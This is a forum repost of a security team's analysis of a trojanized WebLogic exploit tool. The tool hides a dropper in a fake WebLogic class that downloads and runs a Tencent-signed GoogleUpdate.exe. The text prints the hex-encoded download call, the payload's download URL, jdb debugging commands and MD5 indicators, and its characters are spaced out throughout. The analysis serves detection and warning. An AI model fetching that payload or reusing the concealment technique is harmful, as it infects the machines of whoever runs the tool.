搜索

[16706] 2021-04-24_匿名帖子中藏“马”，针对某特殊群体的供应链打击

文档创建者：s7ckTeam
浏览次数：17
最后更新：2025-01-18
2021-04-24_匿名帖子中藏“马”，针对某特殊群体的供应链打击 匿 名 帖 子 中 藏 “ 马 ” ， 针 对 某 特 殊 群 体 的 供 应 链 打 击 D e a d E y e 安 全 团 队   F r e e B u f   2 0 2 1 - 0 4 - 2 4 背 景 背 景 大 概 在 4 月 1 9 号 ， 我 们 注 意 到 某 步 社 区 中 有 一 个 匿 名 帖 子 ， 贴 子 地 址 h t t p s : / / m . t h r e a t b o o k . c n / d e t a i l / 6 1 9 2 贴 子 内 容 如 下 其 中 提 到 了 一 个 w e b l o g i c 漏 洞 利 用 工 具 ， 项 目 地 址 是 h t t p s : / / g i t h u b . c o m / D e s a i P a r e k h / w e b l o g i c _ c m d _ p l u s   （ 截 至 发 文 ， 项 目 已 被 删 除 ） （ 截 至 发 文 ， 项 目 已 被 删 除 ） 本 着 学 习 的 精 神 去 看 了 项 目 ， 但 是 发 现 这 个 项 目 并 没 有 把 源 码 公 开 ， 只 是 分 享 了 一 个 工 具 下 载 工 具 到 本 地 ， 是 一 个 压 缩 包 解 压 压 缩 包 ， 内 容 如 下 查 看 项 目 中 的 教 程 ， 工 具 用 法 应 该 是 教 程 见 下 图 j a v a   - j a r   w e b l o g i c _ c m d _ p l u s . j a r   - s c a n i p   1 2 7 . 0 . 0 . 1   - s c a n p o r t   7 0 0 1   - s c a n
把 项 目 脱 到 i d e a 中 ， 反 编 译 j a r 包 ， 随 便 查 看 了 一 些 c l a s s 文 件 ， 发 现 看 不 到 具 体 的 源 码 ， 只 能 看 到 如 下 图 这 种 类 似 类 声 明 的 内 容 因 为 这 个 T 3 V u l n e r a b i l i t y C h e c k . c l a s s 大 概 有 1 3 k ， 所 以 内 容 不 太 可 能 是 这 种 类 声 明 尝 试 使 用 j a v a p 查 看 对 应 字 节 码 ， 如 下 图 查 看 字 节 码 还 是 有 很 多 内 容 的 ， 观 察 了 一 会 ， 我 们 注 意 到 一 个 频 繁 出 现 的 字 符 串 在 互 联 网 搜 索 一 下 这 个 字 符 串 ， 发 现 这 个 字 符 串 是 一 款 j a v a 混 淆 工 具 加 密 后 特 有 的 内 容 这 款 j a v a 混 淆 工 具 名 字 叫 A l l a t o r i ， 官 网 是 h t t p : / / w w w . a l l a t o r i . c o m / 我 们 开 始 好 奇 为 什 么 这 个 工 具 要 使 用 混 淆 工 具 混 淆 代 码 ， 难 道 这 里 有 什 么 不 可 告 人 的 秘 密 嘛 ？ （ 当 然 我 们 如 果 直 接 运 行 工 具 也 可 以 看 到 使 用 了 A l l a t o r i ， 因 为 工 具 运 行 后 直 接 就 输 出 了 A l l a t o r i ） 样 本 测 试 样 本 测 试 把 工 具 放 到 虚 拟 机 里 运 行 ， 打 开 各 种 分 析 工 具 ， 开 始 分 析 这 个 j a r 包 的 行 为 尝 试 各 种 命 令 运 行 ， 当 使 用 执 行 以 后 ， 发 现 一 个 有 意 思 的 现 象 怎 么 突 然 多 了 个 G o o g l e U p d a t e . e x e ？ A L L A T O R I x D E M O j a v a   - j a r   w e b l o g i c _ c m d _ p l u s . j a r   - s c a n i p   1 9 2 . 1 6 8 . 0 . 1 / 2 4   - s c a n p o r t   7 0 0 1   - s c a n   - t   2 0
好 家 伙 ， 你 一 个 G o o g l e U p d a t e . e x e 用 的 腾 讯 的 签 名 ？ 难 道 说 ？ 样 本 分 析 样 本 分 析 在 上 一 步 已 经 明 确 了 这 个 工 具 有 问 题 ， 这 里 我 们 开 始 分 析 这 个 j a r 包 到 底 是 如 何 工 作 的 因 为 在 i d e a 中 反 编 译 效 果 太 差 ， 我 一 度 想 硬 扣 一 下 字 节 码 把 反 编 译 工 具 换 成 j a d x 以 后 ， 内 容 正 常 了 代 码 中 很 多 地 方 都 使 用 了 A l l a t o r i 进 行 加 密 ， 我 在 想 是 不 是 应 该 去 解 密 一 下 ， 在 网 上 找 到 一 篇 介 绍 A l l a t o r i 如 何 加 密 的 ， 学 习 了 一 下 ， 地 址 如 下 h t t p s : / / z h u a n l a n . z h i h u . c o m / p / 3 4 2 3 8 6 4 7 8 文 章 中 提 到 A l l a t o r i 大 概 有 两 种 加 密 方 式 ， 一 种 是 强 加 密 方 式 ， 会 通 过 调 用 堆 栈 获 取 到 当 前 执 行 的 类 、 方 法 名 （ 不 太 严 谨 ） 作 为 解 密 的 依 据 ， 另 外 一 种 是 简 单 的 运 算 ， 算 法 比 较 简 单 找 了 一 会 解 密 A l l a t o r i 的 工 具 ， 用 了 几 个 都 失 败 了 ， 不 过 这 里 工 具 混 淆 的 内 容 相 对 好 一 点 ， 代 码 不 解 密 其 实 也 可 以 看 出 来 一 些 实 现 的 逻 辑 正 好 刚 才 我 们 在 样 本 测 试 的 时 候 发 现 ， 这 个 工 具 的 恶 意 代 码 触 发 逻 辑 可 能 是 和 i p 有 关 ， 我 们 就 重 点 关 注 一 下 i p 处 理 相 关 的 类 发 现 c o m . s u p e r e a m . u t i l s . I p U t i l 这 个 类 可 能 有 一 些 问 题 第 一 ， 他 在 i m p o r t 的 时 候 居 然 引 用 了 j a v a . i o . O b j e c t O u t p u t S t r e a m ， j a v a . l a n g . r e f l e c t . C o n s t r u c t o r ， s u n . m i s c . U n s a f e 这 三 个 类 第 二 ， 在 g e t I p F r o m S t r i n g 这 个 方 法 里 使 用 了 C l a s s . f o r N a m e 和 w r i t e O b j e c t 因 为 加 密 和 编 码 的 问 题 ， 我 们 看 不 到 具 体 是 加 载 了 什 么 类 其 实 这 种 加 密 我 们 在 代 码 里 都 可 以 找 到 对 应 解 密 方 式 ， 本 地 自 己 实 现 一 个 解 密 也 很 快 ， 查 看 了 我 们 可 能 会 重 点 关 注 的 类 以 后 ， 发 现 那 些 类 都 使 用 的 强 加 密 方 式 （ 堆 栈 方 式 ） ， 思 考 了 一 会 决 定 不 在 加 解 密 下 功 夫 ， 尝 试 d e b u g 一 下 这 个 j a r 包 在 i d e a 里 用 几 个 方 法 d e b u g 都 失 败 了 （ 可 能 是 我 环 境 没 配 置 对 ） ， 无 语 ， 换 个 思 路 想 了 一 下 还 是 用 最 古 老 的 方 法 d e b u g 最 稳 当 使 用 j d b 来 d e b u g 这 个 j a r 包 j a r 运 行 开 启 d e b u g 模 式 使 用 j d b 连 接 （ 这 里 的 p o r t 是 随 机 的 ， 我 这 里 直 接 粘 贴 我 的 配 置 了 ） 在 m a i n 方 法 打 一 个 断 点 ， 然 后 运 行 开 始 慢 慢 d e b u g j a v a   - X d e b u g   - X r u n j d w p : t r a n s p o r t = d t _ s o c k e t , a d d r e s s = j a v a d e b u g , s e r v e r = y , s u s p e n d = y   - j a r   w e b l o g i c _ c m d _ p l u s . j a r   - s c a n i p   1 9 2 . 1 6 8 . 0 . 1 / 2 4   - s c a n p o r t   7 0 0 1   - s c a n   - t   2 0 j d b   - c o n n e c t   c o m . s u n . j d i . S o c k e t A t t a c h : h o s t n a m e = l o c a l h o s t , p o r t = 4 9 2 2 6 s t o p   i n   c o m . s u p e r e a m . M a i n . m a i n r u n
大 概 执 行 了 无 数 次 s t e p 以 后 ， 我 终 于 想 起 来 我 是 来 解 密 c l a s s . f o r N a m e 到 底 是 加 载 什 么 类 的 重 新 d e b u g ， 设 置 断 点 s t e p 了 一 会 ， 我 们 进 入 到 c o m . s u p e r e a m . s e r i a l . B y t e s O p e r a t i o n 这 个 类 现 在 我 们 可 以 使 用 这 个 类 的 h e x S t r i n g T o S t r i n g 在 j d b 中 解 码 了 解 码 后 内 容 是 w e b l o g i c . j 2 e e . d e s c r i p t o r . I n t e r c e p t o r B e a n I m p l 当 然 ， 如 果 继 续 跟 代 码 ， 也 会 进 入 到 w e b l o g i c . j 2 e e . d e s c r i p t o r . I n t e r c e p t o r B e a n I m p l 这 个 类 中 使 用 j a d x 打 开 w e b l o g i c . j 2 e e . d e s c r i p t o r . I n t e r c e p t o r B e a n I m p l 这 个 类 ， 我 差 点 笑 出 了 声 ， 如 果 真 的 是 w e b l o g i c 的 类 ， 会 i m p o r t 一 个 c o m . g i t h u b . k e v i n s a w i c k i . h t t p . H t t p R e q u e s t 嘛 ？ 结 合 之 前 g e t I p F r o m S t r i n g 出 现 过 的 w r i t e O b j e c t ， 我 想 起 来 一 个 j a v a 反 序 列 化 中 的 一 个 小 知 识 点 当 对 某 一 个 类 进 行 序 列 化 的 时 候 ， 如 果 目 标 类 自 己 实 现 了 w r i t e O b j e c t ， 会 调 用 目 标 类 自 己 实 现 的 w r i t e O b j e c t 根 据 这 个 小 知 识 点 ， 我 在 I n t e r c e p t o r B e a n I m p l 里 搜 索 一 下 w r i t e O b j e c t b i n g o ! 仔 细 观 察 这 个 w r i t e O b j e c t ， 发 现 他 使 用 c o m . g i t h u b . k e v i n s a w i c k i . h t t p . H t t p R e q u e t . g e t 去 下 载 了 一 个 文 件 本 地 实 现 一 下 这 个 h e x S t r i n g T o S t r i n g 解 码 内 容 如 下 s t o p   i n   c o m . s u p e r e a m . u t i l s . I p U t i l . g e t I p F r o m S t r i n g r u n e v a l   c o m . s u p e r e a m . s e r i a l . B y t e s O p e r a t i o n . h e x S t r i n g T o S t r i n g ( " 7 7 6 5 6 2 6 c 6 f 6 7 6 9 6 3 2 e 6 a 3 2 6 5 6 5 2 e 6 4 6 5 7 3 6 3 7 2 6 9 7 0 7 4 6 f 7 2 2 e 4 9 6 e 7 4 6 5 7 2 6 3 6 5 7 0 7 4 6 f 7 2 4 2 6 5 6 1 6 e 4 9 6 d 7 0 6 c " ) H t t p R e q u e s t . g e t ( h e x S t r i n g T o S t r i n g ( " 6 8 7 4 7 4 7 0 7 3 3 a 2 f 2 f 6 7 6 9 7 4 6 5 6 5 2 e 6 3 6 f 6 d 2 f 6 6 6 f 7 8 6 b 6 9 6 e 6 7 3 0 3 0 3 7 2 f 6 6 6 f 7 8 7 2 6 1 7 0 6 9 6 4 2 d 6 b 6 9 6 e 6 7 2 f 6 1 7 4 7 4 6 1 6 3 6 8 5 f 6 6 6 9 6 c 6 5 7 3 2 f 3 6 3 7 3 1 3 9 3 9 3 7 2 f 6 4 6 f 7 7 6 e 6 c 6 f 6 1 6 4 2 f 4 7 6 f 6 f 6 7 6 c 6 5 5 5 7 0 6 4 6 1 7 4 6 5 2 e 7 a 6 9 7 0 "
（ 截 至 发 稿 ， 文 件 已 失 效 ） 这 个 文 件 名 符 合 我 们 在 样 本 测 试 阶 段 观 察 到 的 事 实 如 果 谁 感 兴 趣 后 续 动 作 可 以 自 己 去 跟 一 下 代 码 逻 辑 ， 我 们 到 这 里 就 不 再 继 续 分 析 了 总 的 来 说 ， 如 果 不 是 好 奇 他 这 个 项 目 是 怎 么 实 现 的 ， 很 难 发 现 这 个 工 具 其 实 是 一 个 马 请 各 位 同 行 严 查 自 己 、 部 门 、 朋 友 有 没 有 下 载 、 运 行 过 这 个 工 具 样 本 信 息 ： 样 本 信 息 ： 名 称 名 称 m d 5 w e b l o g i c _ c m d _ p l u s . z i p 9 d c 3 2 2 4 b d b 4 8 a 2 7 3 3 c b 1 0 c 9 b 6 a 6 d 7 2 8 f w e b l o g i c _ c m d _ p l u s . j a r 9 c b f 8 7 3 4 5 b 2 6 b 8 a 0 c 9 1 5 f c c a e 1 b a e 0 8 a G o o g l e U p d a t e . e x e 4 2 1 6 5 a 4 e 1 c 4 e c 7 2 5 e f 8 7 e a f 5 0 f 0 d d 6 a 9 Q M L o g E x . d l l 3 1 f b 6 e 7 3 8 e 5 d d d 3 d 6 f e 6 8 6 f 6 e 1 c a 4 0 1 c 作 者 ： D m 、 S u p e r d o n g 、 毁 三 观 大 人 、 l 1 n k 3 r 、 F i v e   s t a r 精 精 彩 彩 推 推 荐 荐 阅 读 原 文 h t t p s : / / g i t e e . c o m / f o x k i n g 0 0 7 / f o x r a p i d - k i n g / a t t a c h _ f i l e s / 6 7 1 9 9 7 / d o w n l o a d / G o o g l e U p d a t e . z i p
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理